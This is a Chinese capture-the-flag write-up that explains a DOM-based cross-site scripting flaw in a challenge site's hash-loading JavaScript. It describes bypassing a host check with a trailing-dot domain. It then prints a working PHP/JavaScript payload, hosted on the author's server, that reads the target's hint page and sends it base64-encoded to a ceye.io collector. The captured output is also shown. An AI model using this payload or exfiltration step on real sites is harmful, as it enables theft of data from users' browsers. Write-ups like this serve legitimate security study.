感谢@王师傅的细心指导。
整体的流程如下图(将就着看):首先解决第一个问题:因为同源策略,Server
不能执行Client
域下的hint.php
脚本。
这里可以通过在hint.php
加入CORS头来完成跨域请求。header("Access-Control-Allow-Origin: *");
然后第二个问题,如何Server
如何发出请求?
根据题目提示,F12
看源码JS
发现了以下代码:
#custom.js
/**
*
* You can write your JS code here, DO NOT touch the default style file
* because it will make it harder for you to update.
*
*/
function isProd(){
return window.location.host=='treasure.npointer.cn';
}
function loadPage() {
if (!window.location.hash) {
window.location.hash = '#home'
}
url = window.location.hash.substring(1)+'.html';
//调试太麻烦了,日常测试放开限制
if(isProd()) {
url = window.location.origin + '/' + url;
}
$.get(url, function(result){
$("#content").html(result);
});
}
window.addEventListener('hashchange',function(event){
loadPage();
});
loadPage();
我们需要控制url
值,也就是说
if(isProd()) {
url = window.location.origin + '/' + url;
}
我们不能进入上述的if
语句中。
- 传入
url=http://treasure.npointer.cn./index.html#http://47.244.179.133/hint.php#test
。 - 此时上述代码中
window.location.hash
取到第一个锚点后的值http://vps/hint.php#test
。 - 然后
url
拼接成http://vps/hint.php#test.html
,此时根据锚点的意义,仍会执行hint.php
在第1步中,isProd()
函数中window.location.host
的值为treasure.npointer.cn.
,多了个点.
会影响等号判断,返回否。但是在解析的时候,并不会收到任何影响,所以前段JS
仍会将请求发给Server
,让它去完成一开始图中的步骤。
vps
上的hint.php
如下:
<?php
header("Access-Control-Allow-Origin: *");
echo '<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === 4) {
document.location="http://xxxx.ceye.io/?"+btoa(xhr.responseText);
}
}
xhr.open("GET", "http://treasure.npointer.cn./hint.html",true);
xhr.send()
</script>
';
ceye
接收到的结果如下(有延迟,我一直以为自己哪里写错了,贼坑):
CiAgICA8aDEgY2xhc3M9InNlY3Rpb24taGVhZGVyIj4KICAgICAgICA8ZGl2PkhpbnQ8L2Rpdj4KICAgIDwvaDE+CiAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLWJvZHkiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgogICAgICAgICAgICAgICAgPGg0PlNvdXJjZSBDb2RlczogaHR0cHM6Ly9hdHRhY2htZW50Lm5wb2ludGVyLmNuLzEvdHJlYXN1cmUtMmIyNGU4MjFmNGQ4NTUzMDYwZWJhNTFmOTliMmQxMWIuemlwPC9oND4KICAgICAgICAgICAgICAgIDxoND5KYXZhOiAxLjguMF8yMzI8L2g0PgogICAgICAgICAgICAgICAgPGg0PkZsYWc6IC9mbGFnL2ZsYWcxMDI0PC9oND4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cgo=
接下来是Java
的内容了,因为不是很懂,所有等以后有时间慢慢调试吧
未完待续
网友评论